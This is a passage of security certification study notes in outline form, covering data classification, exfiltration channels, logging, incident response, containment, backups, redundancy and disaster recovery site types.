by approved persons within the owner organization, and possibly by
trusted third parties under NDA.
○ Critical (top secret)—the information is too valuable to allow any risk of its
capture. Viewing is severely restricted.
● Another type of classification schema identifies the kind of information asset:
○ Proprietary—proprietary information or intellectual property (IP) is
information created and owned by the company, typically about the
products or services that they make or perform.
○ Private/personal data—information that relates to an individual identity.
○ Sensitive—This label is typically used in the context of personal data in
which privacy-sensitive information about a subject could harm them if
made public and could prejudice decisions made about the subject.
Data Types
● Personally Identifiable Information (PII):
○ Personally identifiable information (PII) is data that can be used to
identify, contact, or locate an individual.
○ A Social Security Number (SSN) is a good example of PII.
○ Some types of information may be PII depending on the context.
■ For example, when someone browses the web using a static IP
address, the IP address is PII.
● Customer Data:
○ Customer data can be institutional information, but also personal
information about the customer's employees, such as sales and technical
support contacts.
○ Institutional information might be shared under a nondisclosure agreement
(NDA), placing contractual obligations on storing and processing it
securely.
● Health Information:
○ Personal health information (PHI)—or protected health information—
refers to medical and insurance records, plus associated hospital and
laboratory test results.
● Financial Information:
○ Financial information refers to data held about bank and investment
accounts, plus information such as payroll and tax returns.
Data Protection
● Data at rest—this state means that the data is in some sort of persistent storage
media.
○ In this state, it is usually possible to encrypt the data, using techniques
such as whole disk encryption, database encryption, and file- or folder-
level encryption.
● Data in transit (or data in motion)—this is the state when data is transmitted
over a network.
○ In this state, data can be protected by a transport encryption protocol,
such as TLS or IPSec.
● Data in use (or data in processing)—this is the state when data is present in
volatile memory, such as system RAM or CPU registers and cache.
○ However, trusted execution environment (TEE) mechanisms, such as Intel
Software Guard Extensions are able to encrypt data as it exists in
memory, so that an untrusted process cannot decode the information.
Data Exfiltration
● Unauthorized copying or retrieval of data from a system is referred to as data
exfiltration.
● Data exfiltration can take place via a wide variety of mechanisms, including:
○ Copying the data to removable media or other device with storage, such
as USB drive, the memory card in a digital camera, or a smartphone.
○ Using a network protocol, such as HTTP, FTP, SSH, email, or Instant
Messaging (IM)/chat.
■ A sophisticated adversary might use a Remote Access Trojan
(RAT) to perform transfer of data over a nonstandard network port
or a packet crafter to transfer data over a standard port in a
nonstandard way.
○ By communicating it orally over a telephone, cell phone, or Voice over IP
(VoIP) network. Cell phone text messaging is another possibility.
○ Using a picture or video of the data—if text information is converted to an
image format it is very difficult for a computer-based detection system to
identify the original information from the image data.
○
Incident Response Exercises
● Training on specific incident response scenarios can use three forms:
○ Tabletop—this is the least costly type of training. The facilitator presents a
scenario and the responders explain what action they would take to
identify, contain, and eradicate the threat.
○ Walkthroughs—in this model, a facilitator presents the scenario as for a
tabletop exercise, but the incident responders demonstrate what actions
they would take in response.
○ Simulations—a simulation is a team-based exercise, where the red team
attempts an intrusion, the blue team operates response and recovery
controls, and a white team moderates and evaluates the exercise.
Trend Analysis
● Trend analysis is the process of detecting patterns or indicators within a data
set over a time series and using those patterns to make predictions about future
events.
● Trend analysis can apply to frequency, volume, or statistical deviation:
○ Frequency-based trend analysis establishes a baseline for a metric, such
as number of NXERROR DNS log events per hour of the day.
■ If the frequency exceeds (or in some cases undershoots) the
threshold for the baseline, then an alert is raised.
○ Volume-based trend analysis can be performed with simpler indicators.
■ For example, one simple metric for determining threat level is log
volume. If logs are growing much faster than they were previously,
there is a good chance that something needs investigating.
○ Statistical deviation analysis can show when a data point should be
treated as suspicious.
■ A data point that appears outside the two clusters for standard and
administrative users might indicate some suspicious activity by that
account.
Logging Platforms
● Syslog:
○ A protocol enabling different appliances and software applications to
transmit logs or event records to a central server.
○ For example, syslog messages can be generated by Cisco routers and
switches, as well as servers and workstations.
○ A syslog message comprises a PRI code, a header containing a
timestamp and host name, and a message part.
● Rsyslog and Syslog-ng:
○ There have been two updates to the original syslog specification:
■ Rsyslog uses the same configuration file syntax, but can work over
TCP and use a secure connection.
■ Syslog-ng uses a different configuration file syntax, but can also
use TCP/secure communications and more advanced options for
message filtering.
● Journalctl:
○ In Linux, text-based log files of the sort managed by syslog can be viewed
using commands such as cat, tail, and head.
○ Logs from processes managed by systemd are written to a binary-format
file called journald.
■ Events captured by journald can be forwarded to syslog.
● NXlog:
○ an open-source log normalization tool. One principal use for it is to collect
Windows logs, which use an XML-based format, and normalize them to a
syslog format.
Metadata
● Information stored or recorded as a property of an object, state of a system, or
transaction.
● A number of metadata sources are likely to be useful when investigating
incidents, because they can establish timeline questions, such as when and
where, as well as containing other types of evidence.
● File:
○ File metadata is stored as attributes.
○ The file system tracks when a file was created, accessed, and modified.
● Web:
○ When a client requests a resource from a web server, the server returns
the resource plus headers setting or describing its properties.
○ Also, the client can include headers in its request.
■ One key use of headers is to transmit authorization information, in
the form of cookies.
● Email:
○ An email's Internet header contains address information for the recipient
and sender, plus details of the servers handling transmission of the
message between them.
○ When an email is created, the mail user agent (MUA) creates an initial
header and forwards the message to a mail delivery agent (MDA).
■ The MDA should perform checks that the sender is authorized to
issue messages from the domain.
■ Assuming the email isn't being delivered locally at the same
domain, the MDA adds or amends its own header and then
transmits the message to a message transfer agent (MTA).
■ The MTA routes the message to the recipient, with the message
passing via one or more additional MTAs, such as SMTP servers
operated by ISPs or mail security gateways.
● Mobile:
○ Mobile phone metadata comprises call detail records (CDRs) of incoming,
outgoing, and attempted calls and SMS text time, duration, and the
opposite party's number.
○ If you are investigating a suspected insider attack, this metadata could
prove a suspect's whereabouts.
○ CDRs are generated and stored by the mobile operator.
Network Data Sources
● Network data is typically analyzed in detail at the level of individual frames or
using summary statistics of traffic flows and protocol usage.
● Protocol Analyzer Output:
○ A SIEM will store details from sensors at different points on the network.
○ Information captured from network packets can be aggregated and
summarized to show overall protocol usage and endpoint activity.
○ Typically, packet contents are only retained when indicators from the
traffic are correlated as an event.
● Netflow/IPFIX:
○ A flow collector is a means of recording metadata and statistics about
network traffic rather than recording each frame.
○ Network traffic and flow data may come from a wide variety of sources (or
probes), such as switches, routers, firewalls, web proxies, and so forth.
○ Flow analysis tools can provide features such as:
■ Highlighting of trends and patterns in traffic generated by particular
applications, hosts, and ports.
■ Alerting based on detection of anomalies, flow analysis patterns, or
custom triggers.
■ Visualization tools that enable you to quickly create a map of
network connections and interpret patterns of traffic and flow data.
■ Identification of traffic patterns revealing rogue user behavior,
malware in transit, tunneling, applications exceeding their allocated
bandwidth, and so forth.
■ Identification of attempts by malware to contact a handler or
command & control (C&C) channel.
● NetFlow is a Cisco-developed means of reporting network flow information to a
structured database.
○ NetFlow has been redeveloped as the IP Flow Information Export
(IPFIX) IETF standard
○ A particular traffic flow can be defined by packets sharing the same
characteristics, referred to as keys, such as IP source and destination
addresses and protocol type.
○ You can use a variety of NetFlow monitoring tools to capture data for
point-in-time analysis and to diagnose any security or operational issues
the network is experiencing.
● sFlow:
○ Web standard for using sampling to record network traffic statistics.
● Bandwidth Monitor:
○ Bandwidth usage can be a key indicator of suspicious behavior, if you
have reliable baselines for comparison.
Incident Containment
● Isolation-Based Containment:
○ Isolation involves removing an affected component from whatever larger
environment it is a part of.
○ A simple option is to disconnect the host from the network completely,
either by pulling the network plug (creating an air gap) or disabling its
switch port.
● Segmentation-Based Containment:
○ A means of achieving the isolation of a host or group of hosts using
network technologies and architecture.
○ Segmentation uses VLANs, routing/subnets, and firewall ACLs to prevent
a host or group of hosts from communicating outside the protected
segment.
E-Discovery
● E-discovery is a means of filtering the relevant evidence produced from all the
data gathered by a forensic examination and storing it in a database in a format
such that it can be used as evidence in a trial.
● Some of the functions of e-discovery suites are:
○ Identify and deduplicate files and metadata—many files on a computer
system are "standard" installed files or copies of the same file.
■ E-discovery filters these types of files, reducing the volume of data
that must be analyzed.
○ Search—allow investigators to locate files of interest to the case.
■ As well as keyword search, software might support semantic
search.
○ Tags—apply standardized keywords or labels to files and metadata to
help organize the evidence.
■ Tags might be used to indicate relevancy to the case or part of the
case or to show confidentiality, for instance.
○ Security—at all points evidence must be shown to have been stored,
transmitted, and analyzed without tampering.
○ Disclosure—an important part of trial procedure is that the same evidence
be made available to both plaintiff and defendant.
■ Recent court cases have required parties to a court case to provide
searchable ESI rather than paper records.
Timelines
● Operating systems and file systems use a variety of methods to identify the time
at which something occurred.
● The benchmark time is Coordinated Universal Time (UTC), which is essentially
the time at the Greenwich meridian.
● Time Offset: In forensics, identifying whether a time zone offset has been applied
to a file's time stamp.
Risk Types
● External:
○ You must also consider wider threats than those of cyberattack.
○ Natural disasters, such as the COVID-19 pandemic, illustrate the need to
have IT systems and workflows that are resilient to widespread
dislocation.
● Internal:
○ When reviewing internal risks, it is important to remember that these can
be classed as malicious or accidental (non-malicious).
○ Internal threats can include contractors who were granted temporary
access.
● Multiparty:
○ Multiparty risk is where an adverse event impacts multiple organizations.
○ Multiparty risk usually arises from supplier relationships.
● Intellectual Property (IP) Theft:
○ If IP data is exfiltrated it will lose much of its commercial value.
○ Losses can be very difficult to recover in territories where there are not
strong legal protections.
Risk Awareness
● To ensure that the business stakeholders understand each risk scenario, you
should articulate it such that the cause and effect can clearly be understood by
the owner of the asset.
● A risk register is a document showing the results of risk assessments in a
comprehensible format.
● The register may resemble the heat map risk matrix shown earlier with columns
for impact and likelihood ratings, date of identification, description,
countermeasures, owner/route for escalation, and status.
Disasters
● State Risk Assessment:
○ A site risk assessment evaluates exposure to the following types of factor:
■ Risk from disaster events, such as earthquake, flood, and fire.
These events can occur naturally or from person-made causes.
■ Risk from disruption to utilities, such as electricity, water, and
transportation. These risks are higher in geographically isolated
sites.
■ Risk to health and safety from on-premises electromechanical
systems or chemicals.
High Availability
● The property that defines how closely systems approach the goal of providing
data availability 100 percent of the time while maintaining a high level of system
performance.
● Scalability and Elasticity:
○ Scalability is the capacity to increase resources to meet demand within
similar cost ratios.
■ This means that if service demand doubles, costs do not more than
double.
■ There are two types of scalability:
● To scale out is to add more resources in parallel with
existing resources.
● To scale up is to increase the power of existing resources.
● Fault Tolerance and Redundancy:
○ A system that can experience failures and continue to provide the same
(or nearly the same) level of service is said to be fault tolerant.
○ Fault tolerance is often achieved by provisioning redundancy for critical
components and single points of failure.
■ A redundant component is one that is not essential to the normal
function of a system but that allows the system to recover from the
failure of another component.
Power Redundancy
● Dual Power Supplies:
○ An enterprise-class server or appliance enclosure is likely to feature two or
more power supply units (PSUs) for redundancy.
● Managed Power Distribution Units (PDUs):
○ Advanced strip socket that provides filtered output voltage. A managed
unit supports remote administration.
○ These come with circuitry to "clean" the power signal, provide protection
against spikes, surges, and brownouts, and can integrate with
uninterruptible power supplies (UPSs).
● Battery Backups and Uninterruptible Power Supplies (UPSs):
○ A battery-powered device that supplies AC power that an electronic device
can use in the event of power failure.
● Generators:
○ A backup power generator can provide power to the whole building,
often for several days.
Network Redundancy
● Network Interface Card (NIC) Teaming:
○ Network interface card (NIC) teaming, or adapter teaming, means that the
server is installed with multiple NICs, or NICs with multiple ports, or both.
○ If there is a problem with one cable, or one NIC, the network connection
will continue to work, though at just 3 Gb.
● Switching and Routing:
○ Network cabling should be designed to allow for multiple paths between
the various switches and routers, so that during a failure of one part of the
network, the rest remains operational.
● Load Balancers:
○ NIC teaming provides load balancing at the adapter level. Load balancing
and clustering can also be provisioned at a service level:
■ A load balancing switch distributes workloads between available
servers.
■ A load balancing cluster enables multiple redundant servers to
share data and session information to maintain a consistent service
if there is failover from one server to another.
Disk Redundancy
● Disk redundancy ensures that a server can continue to operate if one, or possibly
more, storage devices fail.
● Redundant Array of Independent Disks (RAID):
○ Specifications that support redundancy and fault tolerance for different
configurations of multiple-device storage systems.
● Multipath:
○ Overprovisioning controllers and cabling so that a host has failover
connections to storage media.
Backup Types
● When considering a backup made against an original copy of data, the backup
can usually be performed using one of three main types: full, incremental, and
differential.
● In Windows, a full backup includes all selected files and directories while
incremental and differential backups check the status of the archive attribute
before including a file. The archive attribute is set whenever a file is modified.
● Incremental Backup:
○ A backup type in which all selected files that have changed since the last
full or incremental backup (whichever was most recent) are backed up.
● Differential Backup:
○ A backup type in which all selected files that have changed since the last
full backup are backed up.
● Copy Backups:
○ Most software also has the capability to do copy backups. These are
made outside the media rotation system and do not affect the archive
attribute.
Restoration Order
● A concept that dictates the sequence in which systems must be brought back
online during disaster recovery.
● In very general terms, the order of restoration will be as follows:
○ Enable and test power delivery systems (grid power, power distribution
units [PDUs], UPS, secondary generators, and so on).
○ Enable and test switch infrastructure, then routing appliances and
systems.
○ Enable and test network security appliances (firewalls, IDS, proxies).
○ Enable and test critical network servers (DHCP, DNS, NTP, and directory
services).
○ Enable and test back-end and middleware (databases and business
logic). Verify data integrity.
○ Enable and test front-end applications.
○ Enable client workstations and devices and client browser access.
Non Persistence
● 1. **Nonpersistence**: This refers to a setup where changes made to a
computing environment, like a virtual machine, are not permanent. Instead, the
system is restored to a known state, ensuring that any malware or backdoors are
removed when the environment is recreated.
● 2. **Mechanisms for Nonpersistence**:
● - **Snapshot/Revert**: Saving a system state that can be applied later to reset
the instance.
● - **Rollback**: Restoring the baseline system configuration, similar to Windows
System Restore.
● - **Live Boot Media**: Booting from read-only storage to memory, avoiding
changes to the local disk.
● 3. **Mastering Instructions**:
● - **Master Image**: A complete, pre-configured server instance known as the
"gold" copy.
● - **Automated Build from Template**: Instructions for building and provisioning
an instance rather than storing a complete copy.
● 4. **Configuration Validation**: Ensuring that a recovery solution is functioning
properly across various layers (hardware, network, data, and application) by
monitoring key indicators like recovery time and data replication.
Configuration Management
● Configuration management ensures that each component of ICT infrastructure
is in a trusted state that has not diverged from its documented properties.
● Change control and change management reduce the risk that changes to
these components could cause service disruption.
Asset Management
● An asset management process tracks all the organization's critical systems,
components, devices, and other objects of value in an inventory.
● It also involves collecting and analyzing information about these assets so that
personnel can make more informed changes or otherwise work with assets to
achieve business goals.
● Asset Identification and Standard Naming Conventions:
○ Tangible assets can be identified using a barcode label or radio frequency
ID (RFID) tag attached to the device (or more simply, using an
identification number).
○ An RFID tag is a chip programmed with asset data.
■ When in range of a scanner, the chip activates and signals the
scanner.
■ The scanner alerts management software to update the device's
location. As well as asset tracking, this allows the management
software to track the location of the device, making theft more
difficult.
○ A standard naming convention for hardware assets, and for digital
assets such as accounts and virtual machines, makes the environment
more consistent.
■ Applying consistent names and labels to assets and digital
resources/identities within a configuration management system.
● Internet Protocol (IP) Schema:
○ The division of the IP address space into subnets should be carefully
planned and documented in an Internet Protocol (IP) schema.
○ IP Address Management (IPAM): Software consolidating management of
multiple DHCP and DNS services to provide oversight into IP address
allocation across an enterprise network
Site Resiliency
● Site resiliency is described as hot, warm, or cold.
● A hot site can failover almost immediately.
○ It generally means that the site is already within the organization's
ownership and is ready to deploy.
○ For example, a hot site could consist of a building with operational
computer equipment that is kept updated with a live data set.
● A warm site could be similar, but with the requirement that the latest data set will
need to be loaded.
○ A location that is dormant or performs noncritical functions under normal
conditions, but which can be rapidly converted to a key operations site if
needed.
● A cold site takes longer to set up. A cold site may be an empty building with a
lease agreement in place to install whatever equipment is required when
necessary.